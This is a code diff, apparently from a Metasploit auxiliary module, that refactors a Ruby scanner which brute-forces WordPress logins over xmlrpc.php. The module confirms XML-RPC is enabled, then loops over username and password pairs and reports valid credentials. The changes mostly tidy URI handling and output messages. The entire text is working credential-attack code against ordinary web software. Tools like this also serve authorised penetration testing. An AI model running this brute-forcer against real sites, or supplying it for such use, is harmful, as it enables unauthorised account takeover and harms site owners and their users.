@@ -39,7 +39,6 @@ def initialize(info = {})
39
39
[
40
40
Opt ::RPORT ( 80 ) ,
41
41
OptString . new ( 'TARGETURI' , [ true , 'The path to wordpress xmlrpc file, default is /xmlrpc.php' , '/xmlrpc.php' ] ) ,
42
- # OptBool.new('VERBOSE', [false, 'Whether to print output for all attempts', false]) # warning
43
42
] , self . class )
44
43
45
44
deregister_options ( 'BLANK_PASSWORDS' ) # we don't need this option
@@ -55,14 +54,15 @@ def xmlrpc_enabled?
55
54
xml << '</methodCall>'
56
55
57
56
res = send_request_cgi (
58
- 'uri' => datastore [ 'TARGETURI' ] ,
57
+ 'uri' => target_uri . path ,
59
58
'method' => 'POST' ,
60
- 'data' => " #{ xml } "
59
+ 'data' => xml
61
60
)
62
61
63
62
if res && res . body =~ /<string>Hello!<\/ string>/
64
63
return true # xmlrpc is enabled
65
64
end
65
+ return false
66
66
end
67
67
68
68
def generate_xml_request ( user , pass )
@@ -77,20 +77,18 @@ def generate_xml_request(user, pass)
77
77
xml
78
78
end
79
79
80
- def run_host ( _ip )
81
- print_status ( "Checking #{ rhost } :#{ datastore [ 'TARGETURI' ] } for xmlrpc.." )
82
- if !xmlrpc_enabled?
83
- print_error ( "#{ rhost } XMLRPC is not enabled! -- Aborting" )
84
- return :abort
80
+ def run_host ( ip )
81
+ print_status ( "#{ peer } :#{ target_uri . path } - Sending Hello..." )
82
+ if xmlrpc_enabled?
83
+ vprint_good ( "XMLRPC enabled, Hello message received!" )
85
84
else
86
- vprint_good ( 'XMLRPC enabled, Hello message received!' )
85
+ print_error ( "XMLRPC is not enabled! Aborting" )
86
+ return :abort
87
87
end
88
88
89
- print_status ( "#{ rhost } : #{ rport } - Starting XML-RPC login sweep" )
89
+ print_status ( "#{ peer } - Starting XML-RPC login sweep... " )
90
90
each_user_pass do |user , pass |
91
- if user != "" # empty line fix ?
92
- do_login ( user , pass )
93
- end
91
+ do_login ( user , pass )
94
92
end
95
93
end
96
94
@@ -100,53 +98,51 @@ def do_login(user, pass)
100
98
begin
101
99
res = send_request_cgi (
102
100
{
103
- 'uri' => datastore [ 'TARGETURI' ] ,
101
+ 'uri' => target_uri . path ,
104
102
'method' => 'POST' ,
105
- 'data' => " #{ xml_req } "
103
+ 'data' => xml_req
106
104
} , 25 )
107
105
http_fingerprint ( response : res )
108
106
rescue ::Rex ::ConnectionError , Errno ::ECONNREFUSED , Errno ::ETIMEDOUT
109
- print_error ( ' HTTP Connection Failed, Aborting' )
107
+ print_error ( " #{ peer } - HTTP Connection Failed, Aborting" )
110
108
return :abort
111
109
end
112
110
113
111
unless res
114
- print_error ( ' Connection timed out, Aborting' )
112
+ print_error ( " #{ peer } - Connection timed out, Aborting" )
115
113
return :abort
116
114
end
117
115
118
116
if res . code != 200
119
- vprint_error ( "FAILED LOGIN. ' #{ user } ' : ' #{ pass } ' " )
117
+ vprint_error ( "#{ peer } - FAILED LOGIN - #{ user . inspect } : #{ pass . inspect } " )
120
118
return :skip_pass
121
119
end
122
120
123
- if res . code == 200
124
- # TODO: add more error codes
125
- if res . body =~ /<value><int>403<\/ int><\/ value>/
126
- vprint_error ( "FAILED LOGIN. '#{ user } ' : '#{ pass } '" )
127
- return :skip_pass
128
-
129
- elsif res . body =~ /<value><int>-32601<\/ int><\/ value>/
130
- print_error ( 'Server error: Requested method `wp.getUsers` does not exists. -- Aborting' )
131
- return :abort
132
-
133
- elsif res . body =~ /<value><int>401<\/ int><\/ value>/ || res . body =~ /<name>user_id<\/ name>/
134
- print_good ( "SUCESSFUL LOGIN. '#{ user } ' : '#{ pass } '" )
135
- # If verbose set True, dump xml response
136
- vprint_good ( "#{ res } " )
137
-
138
- report_hash = {
139
- host : datastore [ 'RHOST' ] ,
140
- port : datastore [ 'RPORT' ] ,
141
- sname : 'wordpress-xmlrpc' ,
142
- user : user ,
143
- pass : pass ,
144
- active : true ,
145
- type : 'password' }
146
-
147
- report_auth_info ( report_hash )
148
- return :next_user
149
- end
121
+ # TODO: add more error codes
122
+ if res . body =~ /<value><int>403<\/ int><\/ value>/
123
+ vprint_error ( "#{ peer } - FAILED LOGIN - #{ user . inspect } :#{ pass . inspect } " )
124
+ return :skip_pass
125
+
126
+ elsif res . body =~ /<value><int>-32601<\/ int><\/ value>/
127
+ print_error ( 'Server error: Requested method `wp.getUsers` does not exists. -- Aborting' )
128
+ return :abort
129
+
130
+ elsif res . body =~ /<value><int>401<\/ int><\/ value>/ || res . body =~ /<name>user_id<\/ name>/
131
+ print_good ( "#{ peer } - SUCCESSFUL LOGIN - #{ user . inspect } :#{ pass . inspect } " )
132
+ # If verbose set True, dump xml response
133
+ vprint_good ( "#{ res } " )
134
+
135
+ report_hash = {
136
+ host : rhost ,
137
+ port : rport ,
138
+ sname : 'wordpress-xmlrpc' ,
139
+ user : user ,
140
+ pass : pass ,
141
+ active : true ,
142
+ type : 'password' }
143
+
144
+ report_auth_info ( report_hash )
145
+ return :next_user
150
146
end
151
147
end
152
148
end
0 commit comments